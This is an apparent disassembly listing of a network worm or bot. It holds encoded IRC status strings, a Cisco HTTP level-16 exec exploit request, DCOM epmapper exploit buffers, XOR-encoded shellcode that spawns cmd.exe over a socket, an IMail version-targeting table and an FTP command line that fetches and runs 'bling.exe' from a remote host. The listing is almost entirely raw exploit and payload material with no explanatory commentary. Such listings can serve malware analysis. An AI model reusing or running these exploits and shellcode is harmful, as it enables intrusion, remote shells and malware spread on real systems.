dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_444274 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: sub_409293+11o
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h
dd 696F6C02h, 2207402h, 74617453h, 74736902h, 73636902h
dd 3Ah
dword_4442B4 dd 25370320h, 203A0373h, 2C6425haTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_409293+85o
align 4
dword_4442D4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: seg000:00409398o
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72025402h
dd 66736E61h, 2207265h, 61740253h, 74736974h, 3A736369h
dd 2203403h, 54460254h, 3A025002h, 25203203h, 3202C64h
dd 2460234h, 2500254h, 2032033Ah, 202C6425h, 6F543403h
dd 36C6174h, 64252032h, 69340320h, 2032036Eh, 2E7325h
dword_44434C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: seg000:004093EDo
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 3206425h
dd 6F430234h, 65026E6Eh, 2627463h, 36B6361h, 2532032h
dd 26C6568h, 3403736Ch, 6E026920h, 25203203h, 2E73h
dword_44439C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: seg000:00409434o
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 70784502h
dd 696F6C02h, 2207402h, 7302694Ch, 3A0274h
dword_4443D4 dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: seg000:0040949Eo
dword_4443F4 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h
; DATA XREF: seg000:00409566o
dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 74203203h
dd 6E697972h, 20340367h, 3207325h, 36E6F32h, 73252034h
dd 28320320h, 74726F70h, 29642520h, 2E2E2Eh
dword_444440 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h
; DATA XREF: seg000:00409654o
dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 66203203h
dd 73696E69h, 20646568h, 6C707865h, 6974696Fh, 3403676Eh
dd 20732520h, 25283203h, 74612064h, 706D6574h, 297374h
dword_444490 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: seg000:004096C3o
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 72754302h
dd 2657202h, 2074026Eh, 33A5049h, 73252034h, 2Eh
dword_4444CC dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F025302h
; DATA XREF: seg000:004096D9o
dd 6E610263h, 31300302h, 3531032Ch, 2032033Ah, 2635302h
dd 6E206E61h, 2074026Fh, 74026361h, 2760269h, 2E65h, 35310302h
dd 25B302Ch, 91313003h, 54343003h, 54024602h, 64027002h
dd 2C313003h, 3A353103h, 53203203h, 2726502h, 72026576h
dd 2745320h, 2747261h, 6F206465h, 50206E02h, 2726F02h
dd 34033A74h, 2C642520h, 46320320h, 26C6902h, 34033A65h
dd 2E732520h, 0
dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h
dd 64027002h, 2C313003h, 3A353103h, 46203203h, 2696102h
dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h
dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h
dd 2E3E64h, 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh
dd 2700254h, 31300364h, 3531032Ch, 2032033Ah, 72650253h
dd 2657602h, 74732072h, 74726102h, 20646502h, 206E026Fh
dd 726F0250h, 33A0274h, 64252034h, 3203202Ch, 6C690246h
dd 33A6502h, 73252034h, 2Eh, 35310302h, 25B302Ch, 91313003h
dd 2343003h, 21F461Fh, 2700254h, 31300364h, 3531032Ch
dd 2032033Ah, 69610246h, 2656C02h, 2542064h, 7453206Fh
dd 74726102h, 65532002h, 2767202h, 202C7265h, 72720245h
dd 3A726F02h, 3C203403h, 2E3E6425h, 0
unk_44466C db 2 ; DATA XREF: seg000:00409A2Fo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Fh, 6Eh
db 2
db 6Eh, 2, 65h
db 63h ; c
db 74h, 2, 42h
db 2
db 61h, 63h, 6Bh
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ServerStarted db '2 Server started on Port: %d.',0
align 4
dword_4446B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26E6F43h
; DATA XREF: seg000:00409A9Do
dd 7463656Eh, 63614202h, 30036B02h, 31032C31h, 32033A35h
dd 61024620h, 656C0269h, 54206402h, 53206F02h, 72610274h
dd 53200274h, 76720265h, 2C726502h, 72024520h, 726F0272h
dd 2034033Ah, 3E64253Ch, 2Eh
dword_444710 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F481Fh
; DATA XREF: seg000:00409B57o
dd 2540254h, 3640270h, 32C3130h, 33A3531h, 65532032h, 2767202h
dd 6C207265h, 74736902h, 6E026502h, 26E6902h, 26F2067h
dd 249206Eh, 34033A50h, 3A732520h, 202C6425h, 69443203h
dd 2657202h, 6F027463h, 3A790272h, 25203403h, 2E5C73h
dword_444778 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F481Fh
; DATA XREF: seg000:00409BC5o
dd 2540254h, 3640270h, 32C3130h, 33A3531h, 2462032h, 6C026961h
dd 20640265h, 206F0254h, 61027453h, 20027472h, 72026553h
dd 72650276h, 4502202Ch, 2727202h, 33A726Fh, 253C2034h
dd 2E3E64h
dword_4447D0 dd 252E6425h, 64252E64h, 64252EhaSocketOpenFail db 'socket open failed',0 ; DATA XREF: seg000:00409E5Ao
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: seg000:00409E91o
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: seg000:00409EEBo
align 4
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: seg000:00409F10o
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: seg000:loc_409F20o
align 4
dword_444854 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh
; DATA XREF: sub_409F32+93o
dd 2610263h, 3130036Eh, 3531032Ch, 2032033Ah, 33A5049h
dd 73252034h, 2C64253Ah, 53320320h, 2616302h, 274206Eh
dd 65027268h, 64026102h, 2034033Ah, 202C6425h, 2533203h
dd 22D6275h, 2726874h, 64026165h, 2034033Ah, 2E6425h
dword_4448B8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh
; DATA XREF: sub_409F32+EBo
dd 2610263h, 3130036Eh, 3531032Ch, 2032033Ah, 2500249h
dd 2034033Ah, 202C7325h, 50023203h, 72026F02h, 34037402h
dd 20642520h, 2693203h, 26F2073h, 2650270h, 2E6Eh
dword_444908 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh
; DATA XREF: sub_40A146+87o
dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 61024602h
dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h
dd 2696C61h, 6320657Ah, 2697202h, 63026974h, 73206C61h
dd 2636502h, 6F026974h, 2E6Eh
dword_444964 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh
; DATA XREF: sub_40A146+103o
dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 253A7325h
dd 3202C64h, 2530232h, 2610263h, 274206Eh, 65027268h, 64026102h
dd 2034033Ah, 202C6425h, 2533203h, 742D6275h, 2726802h
dd 64026165h, 2034033Ah, 2E6425h
dword_4449C4 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh
; DATA XREF: sub_40A146+173o
dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 2610246h
dd 65026C69h, 6F742064h, 2530220h, 72026174h, 2572074h
dd 6B02726Fh, 20720265h, 72680274h, 2616502h, 2202C64h
dd 72027245h, 72026F02h, 2032033Ah, 3E64253Ch, 2Eh
dword_444A28 dd 35310302h, 25B302Ch, 91313003h, 2323003h, 21F531Fh
; DATA XREF: sub_40A146+1CEo
dd 2610263h, 3130036Eh, 3531032Ch, 2034033Ah, 69024602h
dd 69026E02h, 68027302h, 64026502h, 3746120h, 73252032h
dd 2064253Ah, 61023403h, 65746602h, 20320372h, 3206425h
dd 26D0234h, 74756E69h, 29732865h, 20666F20h, 63025302h
dd 696E6E61h, 2E676Eh
dword_444A94 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F531Fh
; DATA XREF: sub_40A3A5+92o
dd 2610263h, 3003026Eh, 31032C32h, 32033A35h, 2490220h
dd 33A0250h, 73252034h, 2320320h, 26F0250h, 3A740272h
dd 25203403h, 32032064h, 2207369h, 6570024Fh, 2E6Eh
dword_444AE4 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F531Fh
; DATA XREF: sub_40A472+41o
dd 2610263h, 3003026Eh, 31032C32h, 32033A35h, 2530220h
dd 6E026163h, 6E696E02h, 49022067h, 3A025002h, 25203403h
dd 32032073h, 6F025002h, 74027202h, 2034033Ah, 2E6425h
dword_444B34 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 6F1F501Fh
; DATA XREF: seg000:0040A5A4o
dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C32h
dd 32033A35h, 2530220h, 6E026163h, 6E696E02h, 49022067h
dd 3A025002h, 25203403h, 3202C73h, 2500232h, 272026Fh
dd 34033A74h, 2E642520h, 0
dword_444B90 dd 35310302h, 25B302Ch, 91343003h, 2323003h, 6F1F501Fh
; DATA XREF: seg000:0040A634o
dd 2747202h, 21F531Fh, 2610263h, 3003026Eh, 31032C34h
dd 34033A35h, 2460220h, 73696E69h, 20646568h, 63025302h
dd 26E0261h, 676E696Eh, 2490220h, 33A0250h, 73252032h
dd 2Eh
dword_444BE4 dd 63736963h, 0D6Fhdword_444BEC dd 61500A0Dh, 7373haUserAccessVeri db 0Dh,0Ah ; DATA XREF: seg000:0040A75Fo
db 0Dh,0Ah
db 'User Access Verification',0Dh,0Ah
db 0Dh,0Ah
db 'Password',0
align 10h
unk_444C20 db 2 ; DATA XREF: seg000:0040A784o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 69h, 1Fh
db 73h ; s
db 1Fh, 63h, 6Fh
db 3
db 31h, 35h, 28h
db 3
db 34h, 2, 54h
db 2
db 65h, 6Ch, 2
db 4Eh ; N
db 2, 1Fh, 65h
db 1Fh
db 74h, 3, 31h
db 35h ; 5
db 29h, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aFoundRouterS db ' found router: %s',0
align 4
aGetLevel16Exec db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040A853o
db 0Ah,0
align 4
aGetLevel16Ex_0 db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040A85Fo
db 0Ah,0
align 4
aHttp1_0200Ok db 'HTTP/1.0 200 OK',0 ; DATA XREF: seg000:0040A8B9o
aCisco db 'cisco',0 ; DATA XREF: seg000:0040A8D4o
align 4
unk_444CD4 db 2 ; DATA XREF: seg000:0040A8F8o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 69h, 1Fh
db 73h ; s
db 1Fh, 63h, 6Fh
db 3
db 31h, 35h, 28h
db 3
db 34h, 2, 48h
db 2
db 2 dup(74h), 70h
db 1Fh
db 3, 31h, 35h
db 29h ; )
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aFoundRouterS_0 db 'found router: %s',0
align 4
dword_444D1C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; seg000:0040AF2Co
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_444D68 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40AAF6+EBo
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4450CC dd 20h, 0 dd 20h, 5C005Ch, 0
off_4450E0 dd offset loc_43005B+1 ; DATA XREF: sub_40AAF6+125o
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_445120 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40AAF6+18o
; sub_40AAF6+59o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dw 0FFFFh
dw 0FFFFh
db 0CCh
db 0E0h, 0FDh, 7Fh
db 0CCh
db 0E0h, 0FDh, 7Fh
dd 0
aRrrrrrrrrrrr_0 db ''
db ''
db '',0
dword_445230 dd 10016C6h ; ---------------------------------------------------------------------------
loc_445234: ; DATA XREF: sub_40AAF6+C3o
popf
adc eax, [eax]
loc_445237: ; DATA XREF: sub_40AAF6+37o
add [ecx], esi
leave
sub ecx, 0FFFFFFB0h
fldz
fnstenv byte ptr [esp-0Ch]
pop ebx
loc_445244: ; CODE XREF: seg002:0044524Ej
xor dword ptr [ebx+13h], 13778D2Bh
sub ebx, 0FFFFFFFCh
loop loc_445244
xlat
; ---------------------------------------------------------------------------
db 0E7h, 9Ch, 5Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 74h, 88h, 0ECh
dword_445258 dd 7FFCEDD4h, 56FCA90Fh, 160B0617h, 98988C53h, 4CFC9564h
dd 5A9C8C0Bh, 12FCB9A0h, 8AB7BCC5h, 67B70987h, 1EBD4C2Ch
dd 0E79C4F2Ah, 3B53D910h, 4CFC685Eh, 759C8C0Fh, 983C81A0h
dd 0F8769174h, 9AFCA128h, 726BA947h, 77ACBCE8h, 9847CEA0h
dd 63FC816Bh, 53FC2037h, 9D1FD323h, 439B8365h, 40115BD4h
dd 2144E54Dh, 2104FA43h, 0C388D974h, 0EF9A4643h, 0C588DD10h
dd 75920474h, 117F60AAh, 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh
dd 4024DEFDh, 4034DE78h, 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh
dd 9D3E5BEh, 0EC204A5Bh, 4267E7FDh, 7BA7727Eh, 0FA59208Fh
dd 40A1727Ch, 7BA7727Eh, 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh
dd 0F41F1EFBh, 440E4B52h, 0EC225BD4h, 771DEBFBh, 7E14E54Dh
dd 431D68A2h, 9ABBA472h, 9A33E7CCh, 0E0B7BCC9h, 3E357381h
dd 805BCFD5h, 0B84FF7A6h, 611F2680h, 0EC613ED5h, 0C588C95Eh
dd 4225DA70h, 121DDC7Ah, 4222DC7Ah, 0BE1F5DD4h, 40B988F2h
dd 0EC1D5BD4h, 0C388BAD4h, 908BDAA0h, 0C588E9EFh, 7BA77279h
dd 4C7307DBh, 0ECA17278h, 13778DFBh, 0
off_445394 dd offset dword_49005C ; DATA XREF: sub_40A958+Co
dd offset loc_43004F+1
dd 24h
asc_4453A0: ; DATA XREF: sub_40A958+1Co
unicode 0, <\\>,0
align 4
off_4453A8 dd offset dword_49005C ; DATA XREF: sub_40AA3E+Bo
dd offset loc_43004F+1
dd 24h
asc_4453B4: ; DATA XREF: sub_40AA3E+16o
unicode 0, <\\>,0
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040AD52o
align 10h
dword_4453D0 dd 2016280h, 100BDh, 8F160001h, 182h, 0; ---------------------------------------------------------------------------
loc_4453E4: ; DATA XREF: seg000:0040B09Fo
jmp short loc_44540B
; ---------------------------------------------------------------------------
word_4453E6 dw 0FAE9h ; DATA XREF: seg000:0040B085o
dword_4453E8 dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch
; DATA XREF: seg000:0040B095o
dd 53574658h, 32335F32h, 4C4C442Eh
db 1
; ---------------------------------------------------------------------------
loc_445409: ; CODE XREF: seg002:loc_44540Bp
jmp short loc_445410
; ---------------------------------------------------------------------------
loc_44540B: ; CODE XREF: seg002:loc_4453E4j
call loc_445409
loc_445410: ; CODE XREF: seg002:loc_445409j
pop ebp
sub ebp, 2Ch
push 30h
pop ecx
mov eax, fs:[ecx]
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov edi, [eax+8]
loc_445424: ; CODE XREF: seg002:004454A0j
lea ebx, [edi+3Ch]
mov ebx, [ebx]
add ebx, edi
mov ebx, [ebx+78h]
add ebx, edi
mov ecx, [ebx+1Ch]
add ecx, edi
mov edx, [ebx+24h]
add edx, edi
push ebx
push ecx
push edx
mov ebx, [ebx+20h]
add ebx, edi
xor ecx, ecx
loc_445444: ; CODE XREF: seg002:00445461j
; seg002:00445484j
inc ecx
xor eax, eax
cdq
mov esi, [ebx+ecx*4]
add esi, edi
loc_44544D: ; CODE XREF: seg002:00445454j
lodsb
xor edx, eax
shl edx, 1
test al, al
jnz short loc_44544D
movzx eax, byte ptr [ebp+9]
lea eax, [ebp+eax*2+8]
cmp [eax], dx
jnz short loc_445444
xor [eax], dx
pop edx
pop eax
pop esi
push esi
push eax
push edx
sub ecx, [esi+10h]
inc ecx
movzx ecx, word ptr [edx+ecx*2]
mov eax, [eax+ecx*4]
add eax, edi
movzx ecx, byte ptr [ebp+9]
mov [ebp+ecx*4-28h], eax
dec byte ptr [ebp+9]
jnz short loc_445444
dec byte ptr [ebp+8]
jz short loc_4454A2
dec byte ptr [ebp+24h]
lea ebx, [ebp+1Ah]
push ebx
call eax
mov edi, eax
push 2
pop eax
mov [ebp+9], al
add byte ptr [ebp+79h], 0Ch
jmp short loc_445424
; ---------------------------------------------------------------------------
loc_4454A2: ; CODE XREF: seg002:00445489j
push eax
mov eax, [ebp+4]
xor eax, 93939393h
mov [ebp+4], eax
mov ax, [ebp+2]
xor ax, 9393h
mov [ebp+2], ax
pop eax
mov esi, ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push esi
inc esi
push esi
call eax
mov edi, eax
push ebp
pop eax
mov [eax], si
push 10h
push ebp
push edi
call dword ptr [ebp-20h]
lea eax, [ebp-78h]
push eax
call dword ptr [ebp-18h]
push ebp
push ebp
call dword ptr [ebp-14h]
lea eax, [ebp+eax+0Ch]
xchg eax, esp
push ebx
push 6578652Eh
push 646D635Ch
xchg eax, esp
xor edx, edx
lea eax, [ebp-34h]
xchg eax, esp
push edi
push edi
push edi
push ebx
push ebx
dec dl
add edx, esi
push edx
xchg eax, esp
lea eax, [ebp+78h]
push eax
lea eax, [ebp-78h]
push eax
mov cl, 8
push ebx
push ebx
push 10h
dec dh
push edx
push ebx
push ebx
push ebx
push ebp
call dword ptr [ebp-10h]
push 0FFFFFFFFh
call dword ptr [ebp-1Ch]
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_445524: ; DATA XREF: seg000:0040B021o
jmp short loc_445535
; ---------------------------------------------------------------------------
align 4
loc_445528: ; DATA XREF: seg000:0040B02Co
push esp
dec eax
inc ebx
dec edi
push edi
dec esi
pop edx
dec ecx
dec ecx
push ebx
and [eax], eax
loc_445534: ; DATA XREF: seg000:0040B241o
popa
loc_445535: ; CODE XREF: seg002:loc_445524j
xor [ecx], dh
and [edi+ecx*2+47h], cl
dec ecx
dec esi
and [edx], ah
add es:[eax], al
; ---------------------------------------------------------------------------
dw 0
dword_445544 dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
; DATA XREF: seg000:0040B251o
dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h
dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh
dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h
dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh
dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h
dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
dd 14CFE5B3h
dword_4455FC dd 7D1F1A9Fh db 86h, 72h
word_445602 dw 0AE1Bh ; DATA XREF: seg000:0040B220o
dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h
dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
dd 0
; ---------------------------------------------------------------------------
loc_445680: ; DATA XREF: seg000:0040B2EBo
; seg000:0040B31Do ...
jmp short loc_445686
; ---------------------------------------------------------------------------
align 4
loc_445684: ; DATA XREF: seg000:0040B2FCo
jmp short near ptr dword_445688
; ---------------------------------------------------------------------------
loc_445686: ; CODE XREF: seg002:loc_445680j
add [eax], edx
; ---------------------------------------------------------------------------
dword_445688 dd 0 dword_44568C dd 100103BBh, 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 8, 1, 10h
dd 0
dword_44569C dd 100102D9h, 0 dword_4456A4 dd 1001031Bh, 0 dword_4456AC dd 10010269h, 0 dword_4456B4 dd 10010296h, 0 dword_4456BC dd 100102E2h, 0 dword_4456C4 dd 100102E2h, 0 dword_4456CC dd 100102E2h, 0 dword_4456D4 dd 100102E2h, 0 dword_4456DC dd 10010302h, 0 dword_4456E4 dd 100249D4h, 0 dword_4456EC dd 1001D9BBh, 0 dword_4456F4 dd 100218E6h, 0 dword_4456FC dd 10021782h, 0 dword_445704 dd 10021A51h, 0 dword_44570C dd 10021A51h, 0 dword_445714 dd 10021A62h, 0 ; ---------------------------------------------------------------------------
loc_44571C: ; DATA XREF: seg000:0040B262o
jmp short loc_44572D
; ---------------------------------------------------------------------------
loc_44571E: ; CODE XREF: seg002:loc_44572Dp
pop ebx
xor ecx, ecx
sub cx, 0FFE0h
loc_445725: ; CODE XREF: seg002:00445729j
xor byte ptr [ebx], 55h
inc ebx
loop loc_445725
jmp short near ptr word_445732
; ---------------------------------------------------------------------------
loc_44572D: ; CODE XREF: seg002:loc_44571Cj
call loc_44571E
; ---------------------------------------------------------------------------
word_445732 dw 0BB8Ch ; CODE XREF: seg002:0044572Bj
dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh
dword_445748 dd 57222022h, 6E773065hdword_445750 dd 0A0D22h aImail db 'IMail',0 ; DATA XREF: seg000:0040B2BFo
align 4
a7_04 db '7.04',0 ; DATA XREF: seg000:0040B2D9o
align 4
a7_05 db '7.05',0 ; DATA XREF: seg000:loc_40B30Bo
align 4
a7_06 db '7.06',0 ; DATA XREF: seg000:loc_40B335o
align 4
a7_07 db '7.07',0 ; DATA XREF: seg000:0040B346o
align 4
a7_10 db '7.10',0 ; DATA XREF: seg000:loc_40B370o
align 4
a7_11 db '7.11',0 ; DATA XREF: seg000:0040B381o
align 4
a7_12 db '7.12',0 ; DATA XREF: seg000:loc_40B3AEo
align 4
a7_13 db '7.13',0 ; DATA XREF: seg000:loc_40B3DBo
align 4
a7_14 db '7.14',0 ; DATA XREF: seg000:0040B3ECo
align 4
a7_15 db '7.15',0 ; DATA XREF: seg000:loc_40B419o
align 4
a8_00 db '8.00',0 ; DATA XREF: seg000:loc_40B446o
align 4
a8_01 db '8.01',0 ; DATA XREF: seg000:loc_40B473o
align 4
a8_02 db '8.02',0 ; DATA XREF: seg000:loc_40B4A0o
align 4
a8_03 db '8.03',0 ; DATA XREF: seg000:loc_40B4CDo
align 4
a8_04 db '8.04',0 ; DATA XREF: seg000:loc_40B4FAo
align 4
a8_05 db '8.05',0 ; DATA XREF: seg000:loc_40B527o
align 4
a8_10 db '8.10',0 ; DATA XREF: seg000:loc_40B554o
align 4
a8_11 db '8.11',0 ; DATA XREF: seg000:loc_40B581o
align 4
a8_12 db '8.12',0 ; DATA XREF: seg000:loc_40B5ABo
align 4
a8_13 db '8.13',0 ; DATA XREF: seg000:loc_40B5D5o
align 4
a8_14 db '8.14',0 ; DATA XREF: seg000:loc_40B5FFo
align 4
a8_15 db '8.15',0 ; DATA XREF: seg000:loc_40B639o
align 4
aHotfix2 db 'hotfix2',0 ; DATA XREF: seg000:loc_40B663o
a4_0 db '4.0',0 ; DATA XREF: seg000:loc_40B67Fo
a5_0 db '5.0',0 ; DATA XREF: seg000:0040B690o
a6_0 db '6.0',0 ; DATA XREF: seg000:0040B6A1o
a7_0 db '7.0',0 ; DATA XREF: seg000:0040B6B2o
aImail_0 db 'IMail',0 ; DATA XREF: seg000:loc_40B6C3o
align 4
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40B7F9+42o
db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
align 4
aBling_exe db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40B7F9+85o
; ---------------------------------------------------------------------------
loc_445898: ; DATA XREF: sub_40BEAB+17Eo
; sub_40BEAB+23Ao
jmp short loc_4458AA
; =============== S U B R O U T I N E =======================================
sub_44589A proc far ; CODE XREF: sub_44589A:loc_4458AAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4458A2: ; CODE XREF: sub_44589A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4458A2
jmp short loc_4458AF
; ---------------------------------------------------------------------------
loc_4458AA: ; CODE XREF: seg002:loc_445898j
call near ptr sub_44589A
loc_4458AF: ; CODE XREF: sub_44589A+Ej
jo short loc_445913
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_445931
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
